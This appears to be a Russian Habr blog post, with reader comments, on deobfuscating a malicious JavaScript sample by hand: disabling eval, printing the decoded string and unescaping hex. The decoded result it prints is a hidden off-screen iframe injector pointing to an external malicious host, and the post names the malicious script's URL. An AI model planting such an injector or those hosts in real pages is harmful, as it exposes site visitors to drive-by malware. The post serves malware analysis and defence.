Расшифровка вредоносного JavaScript

    Здравствуйте, уважаемые пользователи хабра. После того, как я опубликовал данную статью, у пользователей появился интерес, и они стали спрашивать меня в ЛС и в комментариях, а как именно расшифровываются данные скрипты и что же именно такого делают данные коды.

    Вступление


    Так всё же, что делают эти скрипты? Чаще всего вредоносные JScript файлы устанавливаются «хакерами», для получения какой либо выгоды, а именно:
    Пополнение своего ботнета, установка винлокеров, исправления файла hosts для перенаправления пользователей на фейковые сайты, ну и конечно же для обмена трафиком.

    Так вот, я попробую подробно рассказать о том, как раскодировать вредоносный JavaScript и в последствии вычислить адрес, куда он ведет.


    Подготовка


    Программное обеспечение

    Пользоваться я буду редактором NetBeans IDE 7.0. Во-первых, я всегда в нем работаю, а во-вторых, в нем очень удобно форматировать код. Но Вы можете использовать наиболее удобный Вам редактор.

    Ищем вредоносный код

    Я возьму ВРЕДОНОСНЫЙ скрипт из прошлой статьи, так что без антивируса туда лучше не лезть. Вот его адрес: goog1e-analitics.com/openapi.js. Для того, чтобы Вам лишний раз не бояться заразиться, и не совершать лишних действий, я скопировал и отформатировал его pastebin.com/BJ751scy
    Кто хочет сам его отформатировать заходим в NetBeans => Исходный код => Формат

    Первые действия


    После того, как мы отформатировали код, и внесли его в html документ между тегами у нас получилось примерно следующее (На скриншоте не весь код)


    Кратко о выполняемых действий


    Как мы видим, сейчас скрипт у нас не читаем. Для его раскодировки, нам понадобится сделать всего несколько действий. Сейчас кратко: Закомментируем eval (Функция которая выполняет весь код), потом создадим переменную x С той частью кода, которая выполняется в eval. Вызовем переменную x функцией document.write(x);. Последним действие уберем 16-ричную систему функцией unescape().
    На теории всё легко, а на практике еще легче!

    Переходим к главному — практика



    Как я писал выше, мы будем работать с данной функцией (У меня она начинается на 24 строчке файла, у Вас может быть по другому):

    
        $sA = function (_)
        {
            for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
            {
                $j += '\x25' + $P[$g++] + $P[$g--];
            }
    
           $E['eva\x6C']($E[$d.$fJ]($j));
    
        },
    


    И так приступим. У нас есть строчка $E['eva\x6C']($E[$d.$fJ]($j)); Которую мы должны закомментировать. Делается это двумя слешами // $E['eva\x6C']($E[$d.$fJ]($j));
    Далее ниже определяем переменную, и вызываем её, и у нас получается следующее:

    
        $sA = function (_)
        {
            for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
            {
                $j += '\x25' + $P[$g++] + $P[$g--];
            }
    
          // $E['eva\x6C']($E[$d.$fJ]($j));
           
             var x = $E[$d.$fJ]($j);
             document.write(x);
    
        },
    

    Теперь ничего опасного нам не грозит, можем выполнить файл в браузере:



    Скопируем полученный код, и отформатируем его:

    
    var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
        _n='s\x65\x74\x41\x74\x74\x72ibute';
        _q[_n]('\x73rc','http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt');
        _q.style.position='abs\x6F\x6C\x75\x74e';
        _q.style.width='16px';_q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199')+1);
        _q.style.left = '-5597px';d\u006F\u0063ument.w\u0072ite('');
        \u0064\u006Fcument.getElementById('__dr11938').appendChild(_q);
    


    Завершение



    Теперь нам придется достаточное время повозиться, убирая 16-ричную систему. Делается это так:

    Создаем файл index2.html с содержимым
    <script></script>


    Берем первую строчку из нашего первого файла (index.html)
    
    var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
    


    Вставляем часть строчки в файл index2.html, вызываем её алертом, и получится вот такой код:
    
    <script>
    alert("q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),");
    </script> 
    


    Выполняем…

    Копируем полученное, и заменяем это в первой строчке, и так проделываем со всеми строками, в которых есть 16-ричная система.

    Результат


    
    var _q = document.createElement('iframe'),
        _n = 'setAttribute';
    _q[_n]('src', 'http://vbnieewr.ru/in.cgi?default');
    _q.style.position = 'absolute';
    _q.style.width = '16px';
    _q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1);
    _q.style.left = '-5597px';
    document.write('<div id=\'__dr11938\'></div>');
    document.getElementById('__dr11938').appendChild(_q);
    


    Ну вот, мы раскодировали вредоносный скрипт, и теперь можем понять, что же он делат. Именно этот скрипт создает ифрейм на адрес vbnieewr.ru/in.cgi?default.

    Заключение


    Уважаемые пользователи, следите за безопасностью Вашего проекта, ставьте надежные пароли, делайте бекапы, как можно чаще.

    Также хочу поделиться с вами статьёй, которую написал пользователь Raz0r. Она написана по мотивам моего топика, а именно небольшой обзор 5 бесплатных онлайн сервисов для анализа и борьбы с malware.

    Спасибо за внимание.
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 24

      +3
      Для интересующихся темой советую ссылку
        –4
        Так и хочется вам порекомендовать Штирлиц.exe, чтобы не заниматься галиматьей с раскодирование escape и unicode и т.д.
          +4
          Это мне известно, просто пользователи попросили рассказать, как это делается вручную.
          +2
          Я, кстати, чуть позже написал вот такой быдлокод для расшифровки без мучительства:

                  var x = $E[$d.$fJ]($j);
                  var s = x.replace(/\\u00([0-9a-fA-F]{2})/g, function() {
                      return String.fromCharCode(parseInt(arguments[1], 16));
                  });
                  s = s.replace(/\\x([0-9a-fA-F]{2})/g, function() {
                      return String.fromCharCode(parseInt(arguments[1], 16));
                  });
                  console.log(s);
          


          понятно, что это можно свести в одну регулярку.
            +3
            Вот что на сайте cryptoservice.info/:

            Добрый день, уважаемый пользователь КриптоСервиса.

            Наш сервис относительно молод, но функционал наш велик. Спустя несколько месяцев с начала нашей работы мы заметили, что у нас превалирует часть клиентов, криптующих исключительно iframe, хотя сервис изначально задумывался как платный криптер/обфускатор Javascript-кода вообще. Теперь мы видим, что это используется для распространения вредоносного ПО. С этого момента мы прекращаем криптовать iframe-коды. Доступными останутся только криптеры Javascript, контента и ссылок. В течении недели криптер iframe будет убран с нашего сервиса. Пользователям с уже оплаченным аккаунтом iframe-криптер будет доступен до истечения аккаунта.

            С наилучшими пожеланиями, КриптоСервис.
              +23
              Автор молодец, что следит за сайтами клиентов и ищет правду в таких «скриптах».
              Недавно сам столкнулся с такой проблемой и искал вариант «декондига» таких подарков и остановился примерно на следующем варианте:
              <script type="text/javascript">
              window.eval = function(code)
              {
              	console.log(code); // or alert(code);
              }
              </script>
              

                +1
                классная идейка, спасибо!
                  +4
                  В дополнение к этому скажу, что мне приходилось встречаться с обфусцированным кодом, где расшифрованный код выполнялся не eval'ом, а с помощью конструктора Function, т.е. вроде
                  new Function('','alert(document.cookie)')();
                  Только обращения к самому window.Function'у не было, поэтому его переопределение ничего не дало. Зато есть, например, такой вариант достучаться до него
                  new alert.constructor('','alert(document.cookie)')();
                  , который и использовался в моём случае. Мне оставалось только переопределить Function.prototype.constructor, и желанный код любезно отобразился в консоли.

                  Ну и для восстановления форматирования (и даже избавления от /packer/'а) можно пользоваться JSbeautifier'ом.
                  0
                  Спасибо, как я и думал в коменте к прошлой статье. Однако бывают сложнее алгоритмы обфускации по типу множественного пакера, кодера. Думаю принципы в статье и для них пригодятся, главное начинает анализ с самой последней вызываемой функции…
                    0
                    А что происходит после редиректа на iframe? Как iframe может привести к запуску вируса?
                    +1
                    Черт, а я думал автор пользует malzilla :)
                      0
                      javascript deobfuscator addon под ff отлично показывает исполняемый код и такого мучительства делать не надо
                        –1
                        Вы внимательно читали топик? Этот пост объясняет, как можно вручную расшифровать вредоносный JS-код. Тем более, я считаю, что большинство юзеров хабра сидит в гугл хром; фф сдает позиции (имхо).
                          0
                          Конечно, большинству людей интересней всего алгоритм «нажми на кнопку — получишь результат». Но всё же ещё не перевелись люди, которым интересно, как эта «кнопка» работает и возможно среди них есть те, кто когда-нибудь эту «кнопку» сделает ещё лучше или похожу для других целей. Почему бы с ними не поделиться принципом?
                          0
                          Цитаты из той статьи, на которую Вы ссылаетесь:

                          Раскодируем поэтапно скрипт воспользовавшись обратными функциями:
                          Далее уберем 16-ричную систему функцией unescape


                          Из этого можно сделать вывод, что использование unescape — это не использование обратной функции? Какие тогда функции использовались?
                            0
                            для убирания \u0064\u006F можно использовать утилиту native2ascii из JDK
                              0
                              Масса новых идей для jAntivirus: jkeks.ru/jAntivirus. Копаться и копатсья…
                                +3
                                Очень удобно делать в строке браузера.
                                Вводим javascript:alert("\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65')")
                                Видим:
                                  0
                                  ЕМНИП, на хабре была статья про расшифровку хитро запакованного JS. Там было что-то связанное с лямбда-функциями и использованием тела функции как ключа. Сейчас найти ее не могу. Никто не подскажет?
                                    0
                                    Одну ссылку я давал выше, но вроде что было ещё, тоже найти не могу…
                                    0
                                    Как раз недавно dx в своем блоге опубликовал подобную статью. Правда там рассматривается пример деобфускации php скрипта, но подход тот же.
                                      0
                                      Для интересующихся вопросов раскодирования JS эксплойтов и кодов есть замечательная утилита. Написано про неё уже много и много

                                      Only users with full accounts can post comments. Log in, please.